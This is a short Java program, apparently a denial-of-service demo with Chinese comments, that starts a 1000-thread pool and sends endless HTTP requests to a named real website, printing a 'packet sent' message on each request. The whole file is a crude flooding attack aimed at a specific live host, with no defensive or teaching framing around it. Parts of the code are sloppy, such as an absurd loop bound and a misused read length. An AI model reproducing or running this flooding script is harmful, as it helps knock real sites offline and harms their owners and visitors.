package last.Javaweb1;


import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;


public class DdoseDemo {
    public static void main(String[] args) {
        //创建一个线程池，大小自己定义，这里我设置的1000
        ExecutorService pool = Executors.newFixedThreadPool(1000);
        //创建一个线程用于访问服务器
        Thread thread = new Thread(()->{
            while(true){
                try {
                    URL url = new URL("https://www.xiangshitan.com/");
                    URLConnection conn = url.openConnection();
                    System.out.println("发包成功！");
                    BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
                    byte[] bytes = new byte[2048];
                    int len = -1;
                    StringBuffer sb = new StringBuffer();
                    if(bis != null){
                        if((len = bis.read()) != -1){
                            sb.append(new String (bytes,0,len));
                            System.out.println(sb);
                            bis.close();
                        }
                    }
                } catch (MalformedURLException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (IOException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        });
        for (int i=0;i<100000000000000L;i++){
            pool.execute(thread);
        }
        pool.shutdown();
    }
}

